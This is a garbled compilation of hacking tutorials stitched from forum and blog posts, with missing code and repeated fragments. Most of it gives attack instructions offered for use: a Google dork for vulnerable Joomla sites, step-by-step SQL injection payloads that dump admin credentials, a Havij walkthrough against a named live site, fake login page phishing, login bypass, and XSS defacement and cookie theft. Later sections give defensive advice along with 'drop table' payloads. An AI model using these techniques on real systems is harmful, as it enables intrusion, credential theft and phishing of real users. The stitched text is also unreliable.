Options:
- Choose Sitetitle
- Write down some texts
- Create an error
- Fade-in a picture
- Background music
- Javascript box
- Funny circle around the curser
- Choose textcolor
- Choose backgroundcolor
- Hide Sourcecode
THIS TUTORIAL IS FOR EDUCATION PURPOSE ONLY!!! YOU MAY NOT READ THIS TUTORIAL IF YOU DON'T UNDERSTAND AND AGREE TO THIS DISCLAIMER. ME AS AUTHOR OF THIS TUTORIAL NOT BE HELD RESPONSIBLE FOR THE MISUSE OF THE INFORMATION CONTAINED WITHIN THIS TUTORIAL. IF YOU ABUSE THIS TUTORIAL FOR ILLEGAL PURPOSES I WILL NOT BE HELD RESPONSIBLE FOR ANY ACTION THAT MAY BE TAKEN AGAINST YOU AS A RESULT OF YOUR MISUSE.
NOTE:
USE ANONYMOUS PROXY!!!
Introduction
Joomla! as Stable-Full Package is probably unhackable and If someone tells that HACKED Joomla, talking rubbish!!!
But people still hacked sites that use Joomla as Content Management System?!?
Joomla is made of components and modules and there are some developers apart from official team that offer their solutions to improve Joomla. That components and modules mede by that other developers are weak spots!
I hacked site that use Joomla! v1.5.6 and after that v1.5.9 through IDoBlog v1.1, but I can't tell that I hacked Joomla!
Finding Exploit And Target
Those two steps could go in different order, depend what you find first target or exploit...
Google dork: inurl:"option=com_idoblog"
Comes up with results for about 140,000 pages
At inj3ct0r.com search for: com_idoblog
Give us back Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln
Remote File Inclusion (RFI):
A method of uploading a shell by an off-site .
Local File Inclusion (LFI) AKA Directory traversal attack:
A method of pulling usernames and passwords off a website vulnerable to the exploit of
insufficient security validation / sanitization of user-supplied input file names.
Blind Structured Query Language Injection (blind SQLI):
Method of once again insufficiant security validation and sanitization of user-input.
Basic SQLi
This is the easiest method of SQLi. This method allows you to enter codes such as ' or '1'='1
into the username and password fields to gain access. E.g. you find the admin login on a site
and you may enter the correct username admin and the password as: ' or '1'='1.
Cross Site Scripting (XSS):
A method of injection html/javascript into a website. The can be both persistent attacks, and
non-persistant.
Cross site request forgery (CSRF):
An attack that is commonly sent by e-mail or other means and often tricks a user. given to a target may include HTML, something like this:
Code:
And this will be activated through the victims browser and the site will think it was a valid and intentional move.
Public Exploits:
Public exploits are just scripts that people have released for others to use. Such as
this exploit which exploits a webserver
running this program on one of its open ports. I suggest you have a quick look through the
script to see how/why it works. The way of finding which software you target is using is by using Namp or the GUI Zenmap
DNS hijacking:
This is the method or redirecting the domain name to a rouge domain name. This method is used
particually in phishing attacks.
Bruteforcing:
This method is the practise of running a program to keep guessing the password and username of
a site. This method is fastly going out of fashion as the max login attempts are added and even
without this obstical, it can take weeks to gain the correct password. Programs commonly used
for this are hydra and Brutus.
Password Guessing:
Yes, just as it sounds. This is the method of just guessing common passwords such as:
Packet Sniffing:
If you find a site with FTP access, there may be a chance you can use a tool such as
cain and abel to sniff their password and username when
the login. Not a very easy task as the trafic is sometimes encrypted.
RCE (Remote Command Execution):
This is the method of making the server read command that you have entered for it to.
E.g.
Code:
index.php?cmd=whoami
index.php?cmd=net user
Social Enginering:
A common method used to gain information. This can be a long process, but an effective one.
They can patch software, but it will always be people's ignorance that will let you/your target
down.
Cookie poisoning:
This is a method of editing cookies you have already gained, to gain extra privileges. Not a very common method now as of cookies being encrypted, and having to be signed. This exploit can work on some surprising sites, take a look, you may be surprised.
Parameter tampering: (And i think is method is Often called As SESSION HIJACKING, correct me if i am wrong)
An attack usual done by moderfying values in the url. E.g. changing a value to decrease the amount you have to pay on something.
Code:
Tamper Data:
A very nifty Firefox addon which is used to modify http/https headers and post parameters.
Admin Auth bypass:
This exploit can be as simple as adding:
Code:
?action=edit
To a URL. This exploit when a server/application allows you to edit by having the valid URL, instead of by cookies. Another method of admin auth bypass is editting the html to proceed even if the password is wrong.
SQL Power Injector is an application created in .Net 1.1 that helps the penetration tester to find and exploit SQL injections on a web page.
For now it is SQL Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it is possible to use it with any existing DBMS when using the inline injection (Normal mode). Indeed, the normal mode is basically the SQL command that someone will put in the parameter sent to the server.
Learn How To Hack Websites , Mysql Injection Tutorial
SQL Injection in MySQL Databases
SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.
Step1:
When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this: www.site.com/page=1
or
www.site.com/id=5
Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:
www.site.com/page=1'
If the database is vulnerable, the page will spit out a MySQL error such as;
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29
If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.
Step 2
Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:
www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--
If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.
Step 3
We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example: www.site.com/page=1 union all select 1,2,3,4--
This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.
Step 4
We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try... @@user
@@version
@@database
For example the url would look like: www.site.com/page=1 union all select 1,user(),version(),4--
The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.
Step 5
In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like: www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.
Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this: www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.
Step 7
Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--
Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website
Previously I wrote about Remote File Inclusion vulnerability, However Ashik asked me to make another guest post on any topic related to Hacking as he was really busy, so I though to demonstrate another type of website hacking attack called Cross Site Scripting attack,a.k.a. XSS. XSS vulnerabilities occur due to weak coding of the web applications. Once the hacker finds this vulnerability he/she injects malicious codes(Usually in web forms) to steal session cookies and later the hacker uses those cookies to gain access to sensitive page content.
Xss Cross Site Scripting may be classified in two types: 1.Persistent XSS 2.Non Persistent XSS
In order to demonstrate a XSS attack I will take an example of a website:
Checking the venerability
The simplest way to check the vulnerability is to enter the following code in the any web form present on the website
Once the attacker inserts the code A dialog box like the below one will appear:
Defacement
Now the attacker has found that the website is velnerable to an xss attack the attacker can do lots of damages to the website, The most common thing which the attacker will do is place his defacement image on that page showing that the website is hacked, For this purpose he will insert a code similar to the below one:
Where http://site.com/yourDefaceIMAGE.png is the defacement image Inserting Flash Videos
The attacker can also insert flash videos by entering the following code in any web form present on the website Redirection
The attacker can also redirect the page to any particular page , In case if the hacker has managed to find XSS venerability in the a website like paypal.com or alertpay.com he can redirect that page to a Phisher Site(Fake login page) where the victim will loose his password, To redirect a an xssed page to another page the attacker will insert a code similar to the below one:
Stealing Cookies
Most of the attackers after finding a website venerable to xss will probably steal victims cookies to gain access to their account or private data this method is called Session hijacking, which is a detailed topic and I will be explaining in the later articles
Hope you have learned some XSS ,Feel free to ask if you have any problem regarding the above information
First Find a sqli infected site .Now here i found a vulernable site
http://www.hypetrading.com/productinfo.php?id=285
Now Let's start
Open havij and copy and paste infected link as shown in figure
Now click in the "Analyze" Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx
Then Move to another operation to find tables by clicking "tables" as figure shown.Now click "Get tables" Then wait some time if needed
After founded the tables ,you can see there will be "users" Put mark on it and click in the " get columns " tab as shown in figure
In that Just put mark username and password and click "Get data"
Bingo Got now id and pass that may be admin...
The pass will get as md5 you can crack it also using this tool as shown in figure...
Using fake login pages is the easiest way to hack passwords. Identifying a fake login page is very easy but many people neglect to do some small checks before entering the login details and fall in the trap. I have seen a person paying 500$ for a fake login page of paypal. This proves that there are still people falling in this trap. This is just an example, there are many fake websites of banks, yahoomail, gmail,orkut,myspace etc …
This post is an attempt to show what a hacker does to hack your password using fake login pages and how to protect yourself from those fake logins.I will try to keep this post as simple as possible, there may be some technical details which you can safely skip.
Warning: I strongly advice you not to try this on anyone it may spoil your relation with the person on whom you are trying it and you may even end up behind the bars.
What goes on behind when you enter your login details in login form??
When you enter your login details in any login form and hit enter they are submitted to another page which reads these login details and checks the database if you entered the correct username and passowrd, if yes then you will be taken to your account else you will get an error page.
What an hacker does??
A hacker creates a fake page which looks exactly same as the original page and some how tricks you to enter your login details in that page. These login details are then submitted to a file.At this stage the hacker has two optionsHe can either store the login details on his server or he can directly get them mailed to his email id. All the above said things happen behind the scenes, you will have no clue of it. When you enter you login details for the first time your details are submitted to the hacker and you will be directed to a error page ( this is the original error page). When you enter ur login details again you will be logged in to your account. It’s quite common for us to enter the login details wrongly sometimes so you will not become suspicious when you get the error page.
How to identify fake login page traps ??
1. Never enter you login details in unknown sites.
2. Always type the address directly in to the browser.
3. Do not follows the links you get in mails and chatting even if they are from your friends
4. Always have a keen look in the address bar and verify if the address is correct. Check the screen shot below. Some people buy doamins which look simliar to the original site example: 0rkut for orkut, pay-pal for paypal,yahooo for yahoo. Some times you may over look these small differences and fall in trap.
5. Please do report to the hosting site or the original site owner when you find a fake login page.
6. If you feel like you entered your details in a fake login page change your password immediatley.
Now let’s go on with the trick...
You have to upload the fake login page on some server with php support. There are many free web hosting services available on the net, first sign up for anyone of them.Google for some free webhosting services,you will find many. Upload the files in the zipped folder on to your server and give the link of the fake login page to the person whose password you want to know. When the person enters his email id and password in to the fake login page they will be stored in a HTML file named “passwd.htm” on your server in the same directory where you uploaded the login page. Check that text file to get the passwords you wanted..
Here is the demo of the trick Note:Don’t enter your actual password
If you have the html and javascript knowledge then you can access password protected websites. So you want to know how??
keep reading.....
Open the website you want to hack. Provide wrong username-password in its log in form.(e.g : Username : me and Password: ' or 1=1 --)An error will occur saying wrong username-password. Now be preparedYour experiment starts from here...
Right click anywhere on that error page =>> go to view source.
There you can see the html codings with javascripts.
There you find somewhat like this....<_form action="..login....">
Before this login information copy the url of the site in which you are.(e.g :"<_form..........action=http://www.targetwebsite.com/login.......>")
Then delete the javascript from the above that validates your information in the server.(Do this very carefully, ur success to hack the site depends upon this i.e how efficiently you delete the javascripts that validate ur account information)
Then take a close look for "<_input name="">" type="password">"[without quotes] -> replace "<_type=text> " there instead of "<_type=password>". See there if maxlength of password is less than 11 then increase it to 11 (e.g : if then write )
Just go to file => save as and save it any where in your hardisk with ext.html(e.g: c:\chan.html)
Reopen your target web page by double clicking 'chan.html' file that you saved in yourharddisk earlier.
U see that some changes in current page as compared to original One. Don't get worried.
Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]Congrats!!!!!! You have successfully cracked the above website and entered into the account of Ist user saved in the server's database.
Please read "_form"="form" & "_type"="type" & "_input"="input" without quotes]
The above trick won't work on the websites using latest technique to protect there servers. Still you may find some websites to use this trick.
Since I started blogging the question that has been asked by maximum number of users via Comments, Web Forms or via Communities is “How to hack Rapidshare.com?”. Rapidshare is one of the best file hosting service in the world. You can upload, Download files that you want very easily. But if you are not a premium user of Rapidshare then while downloading any file from the rapidshare, you will get annoying download time before getting the download link.
Today I am posting the answer to your most asked question via a very simple trick which will help you to reset the download waiting time to zero. So you can download your files very quickly.
Follow the steps given below and hack Rapidshare.com yourself:
1. Goto the Rapidshare URL of the file you want to Download.
2. Now click on the Free User button. Your waiting time will be start.
3. Now remove the current URL and copy the follwing code in the Browser’s address bar;
4. Hit Enter.
5. This code will set your download timer as zero and download link will be appear immediately.
6. Click Download. If it gives some error message, refresh the page once and download will start.
You could also add the following link to bookmarklets and use it whenever you want to circumvent Rapidshare Wait Time. Hack Rapidshare
SQL injection hacks are performed on servers that do not have the necessary secure programming. These are usually accomplished on servers where the web-page code uses inline SQL, which means the query is in the web-page code rather than located in a stored procedure. Knowing how a SQL injection hack works helps website owners protect customer data and secure the web pages.
The Form Variable
# The first step in understanding how an SQL injection attack is created is by replicating the problem. SQL injection attacks are accomplished through form variables in an HTML page. Creating the form enables the webmaster to simulate and test the security of the web server. Below is an example of a form object used to create a SQL injection attack.
Although this is a simple form textbox, it's all that is needed to accomplish an SQL injection.
The Hacker Code
# When SQL statements are made, the application builds SQL code that is sent to the database. When a string is sent to the database, the code looks something like the below text:
select * from myTable where name='myVariableFromtheForm'
The tick mark signifies the end of the SQL code, and this is where hackers target. When a textbox like the one created in Section 1 is used to build a string, a hacker can enter something like the following into the textbox:
' or 1=1; --
This might look like gibberish, but in fact it injects code into the database that is run by the server. When "myVariableFromtheForm" is replaced by the code above, the statement run by the server actually looks like the following:
select * from myTable where name=' ' or 1=1 --'
The "--" is the comments code for SQL server, so the last terminating tick is ignored. The string is empty and the hacker injects the code "1=1" into the statement. What that does is return every row from the table to the hacker. This is how an unscrupulous person steals private information from database servers.
Fixing the Problem
The best way to fix the problem in code that is susceptible to an SQL injection hack is to use the "Replace" function in every instance where text is entered from users. For instance, in ASP code, the following line of code replaces the single tick mark with two. When a SQL Server runs code with two tick marks, it reads them as a literal and the string is not terminated.
string.Replace(" ' ", " '' "); The code above replaces all instances of a single tick mark with two, removing the vulnerability of an SQL injection attack.
If you are a website owner or developer, you are probably aware of the threat of hackers. There are many ways to protect your database-driven ASP or PHP website from hacker attacks, ranging from weak to strong security measures. Here you will learn about the most common and effective ways to slow down hackers who use methods like SQL injection attacks and XSS (cross-site scripting) via the URL querystring and form inputs. Two general types of hacker blocking techniques are discussed, including custom error pages and input validation. These methods are simple enough that you can do it yourself with only basic coding knowledge. Your best strategy would be to put up a combination of as many little obstacles as possible.
Instructions
Things You'll Need:
Basic HTML coding skills
Basic programming skills, such as ASP
Basic database skills, such as SQL
Access to website host, files and FTP
SQL database-driven websites are at risk.
Any web page which passes parameters to a database can be vulnerable to attacks. This includes e-commerce shopping carts or any other website that has a form for login, search, etc. Any SQL database-driven website is at risk of hackers who may be able to enter into the database through a back door. Usually these back doors are present in URL querystrings and form inputs, such as Login forms, Search forms, or other user input textboxes that can communicate with a database.
An overview of hacking.
Generally, a hacker can enter bogus characters into the URL querystring or a textbox. The bogus input is then interpreted as SQL rather than ordinary user data and is executed by the unsuspecting database. As a result, the website may break and display an error, allowing the hacker to glean private information about the database. Even worse, the hacker's hazardous scripts may actually be executed on the database, causing security breaches and/or permanent damage.
How hackers do it.
The first goal of a hacker is to repeatedly try to break a website, causing it to display a variety of valuable errors that give away private database details. In this way, he can gain insight into the structure of the database and ultimately create a map or footprint of all its tables and columns. The second goal of the hacker is to actually manipulate the database by executing scripts in malicious ways. With control over the database, the hacker may possibly steal credit card numbers, erase data or infect it with viruses, among other nasty things. In essence, the URL querystring and textbox are the two backdoors into a database. Getting errors and manipulating the backdoors are the two methods used by hackers to ultimately destroy a database.
Hack your own website.Let's look at how a hacker might go about breaking into a website. Using the first technique described, he can hack the URL querystring and cause an error to be displayed. You can do a simple test to hack into your own website via the URL querystring. All you have to do is type something else directly into the address bar at the end of your querystring.
Type your URL like the following example and press enter:http://www.mywebsite.com/bookreports.asp?reportID=21
Now simply add a single quote to the end the querystring and press enter:
http://www.mywebsite.com/bookreports.asp?reportID=21'
Generate an error.
As predicted, you may have successfully broken your website and received an error as follows.
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND users.userID=reports.reportsID'.
/bookreports.asp, line 20
The single quote causes an unclosed quotation mark error and now the once-secret table names and column names of your database are publicly visible. After generating a series of these kinds of valuable errors, a hacker can piece together private database details which will ultimately help him break into and wreak havoc on the database.
Hide website errors.
The top most effective solution for keeping the private details of your database from getting into the hands of a hacker is to setup a custom error page for your website. This way, a hacker will never see any detailed error messages. If you do nothing else, this is the number one thing that every website must have. Otherwise, you are giving the hacker an open invitation into your database and practically offering him all the information he needs to launch an attack.
Setup custom error pages.
Some hosting services automatically use custom error pages to help protect your security. To setup your own custom error page, you will need to consult your web host for instructions. Generally, you will create a new HTML page to look the way you please and that says something short and sweet, like 'Sorry, the page you have requested is unavailable.' Then save it as error404.htm and upload it to your server. Following the instructions from your host, you will change the website settings to point to the new error page. This will stop many hackers right in their tracks.
Manipulate the URL querystring.
Besides fishing for errors, a hacker can enter even more dangerous code than a simple single quote into the URL querystring. In an effort to execute malicious scripts on a database, a variety of creative coding is employed, such as %20HAVING%201=1 or maybe %20;shutdown with no wait-- or much worse. Once the hacker is able to execute scripts, the vulnerable database is like putty in their hands. The hacker never has to know the database login or connection string because he is using the URL querystring which already has an open connection.
Warning: Test this on your own website only if you really want to erase a table in your database. Simply, enter the following text after the end of your URL querystring and press enter. Be sure to use the real name of one of your tables (preferably a test table!) in place of myTablename.
http://www.mywebsite.com/bookreports.asp?reportID=21'; drop table myTablename--
Your table is permanently deleted.
Manipulate the form input.
The other most common point of entry besides the URL querystring is the form input. A hacker may manipulate any textbox within an HTML form. A search box or a login form with username and password fields are all prime targets. The hacker can enter bogus characters into the textbox and submit the form. The input is then interpreted as SQL rather than ordinary user data and executed by the database. Again, this attack will either cause an error so he can glean private information about your database, or it may actually insert hazardous scripts and wreak havoc on the database.
Warning: Test this on your own website only if you really want to erase a table in your database. Simply, enter the following text into your textbox (say, a search box or username box) and then submit the form. Be sure to use the real name of one of your tables (preferably a test table!) in place of myTablename.
fred'; drop table myTablename--
Your table is permanently deleted.
Block input containing malicious code.
By now, you probably have a good idea of how much damage a hacker can do and you are ready and willing to do whatever it takes to stop them. The number one way to block a hacker from manipulating the URL querstrying and textboxes is to block their input. But, how do you determine who they are, what they will input and whether or not it is safe? Unfortunately, you cannot know. So, you must assume that all user input could be potentially dangerous. A common saying in the programming world is that ALL INPUT IS EVIL. Thus, it must be treated with caution. Everything from everybody should be checked every time to ensure dangerous code does not slip in. This is accomplished by checking all input that is submitted via a querystring or form and then rejecting or removing unsafe characters before it ever reaches the database. If this sounds like a lot of trouble, you are right. But, it is the price we pay to protect our websites and databases from the wrath of hackers. It is your responsibility as the webmaster to ensure that only clean, safe input is allowed to enter your database.
nput validation.
To check if the input entered into the URL querystring or textbox is safe, we can use input validation rules. In other words, using ASP code on a web page can validate the input collected from the querystring or form to make sure it contains only safe characters. Once the input is deemed safe, it can be stored in a new variable, inserted into the SQL string and sent to the database.
The wash and rinse cycle.
Input validation should be a two-part process, like a wash and rinse cycle. We want to thoroughly clean all input by first checking for safe characters and second by checking for bad strings. See the resources at the end of this article for a more in depth discussion on this method
Filter characters.
Another method that can be used in conjunction with the above two functions, but is considered to be very weak when used alone, is to sanitize the input by filtering or escaping.
A well-known threat is the single quote or apostrophe because it breaks the SQL statement. Following is an ASP example that renders the single quote harmless, by replacing it with two single quotes.
'doubleup single quotes
newSafeString = replace(searchInput, "'", "''")
Other variations for the replace function include stripping out the script tag and replacing it with a space. Or, filter out characters such as the dollar sign $ quotation mark " semi-colon ; and apostrophe ' the left and right angle brackets <> the left and right parentheses ( ) the pound sign # and the ampersand &. Or convert these characters to their HTML entities.
Remember to use a solution that best fits your website or consult a professional.
Finally, there are a few other security measures that you can research and explore on your own. Remember a hacker can easily save a copy of your webpage, then modify the HTML and javascript, then re-upload the page. Therefore, it is best to never use javascript alone for input validation since it can easily be removed, and instead duplicate any javacript validation with ASP validation. Also, hidden input fields are a threat in the same way since they can easily be altered to include bogus code. Other tips include: Never give away any clues about your database, including making your input field names the same as the database field names. Always set a max length for inputs and truncate the excess.
If you would like to pursue more advanced security techniques, please see the resources at the end of this article. Topics discussed include, password policies, buffer overrun, creative table and column names, table name aliases, set and check data types, .bak files, stored procedures with parameters, and log files.
![[Image: 001cv.png]](http://img838.imageshack.us/img838/300/001cv.png)
![[Image: 002rg.png]](http://img836.imageshack.us/img836/1907/002rg.png)
![[Image: 003bd.png]](http://img834.imageshack.us/img834/7643/003bd.png)
![[Image: 004k.png]](http://img217.imageshack.us/img217/3421/004k.png)
![[Image: 005hy.png]](http://img29.imageshack.us/img29/7562/005hy.png)
![[Image: 006fj.png]](http://img691.imageshack.us/img691/1796/006fj.png)
![[Image: 007pa.png]](http://img576.imageshack.us/img576/1710/007pa.png)
![[Image: 008bo.png]](http://img291.imageshack.us/img291/8648/008bo.png)
![[Image: 009kw.png]](http://img707.imageshack.us/img707/8946/009kw.png)
![[Image: 123a244.jpg]](http://i53.tinypic.com/123a244.jpg)
Now click in the "Analyze"
Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx
In that Just put mark username and password and click "Get data"
If you are a website owner or developer, you are probably aware of the threat of hackers. There are many ways to protect your database-driven ASP or PHP website from hacker attacks, ranging from weak to strong security measures. Here you will learn about the most common and effective ways to slow down hackers who use methods like SQL injection attacks and XSS (cross-site scripting) via the URL querystring and form inputs. Two general types of hacker blocking techniques are discussed, including custom error pages and input validation. These methods are simple enough that you can do it yourself with only basic coding knowledge. Your best strategy would be to put up a combination of as many little obstacles as possible.
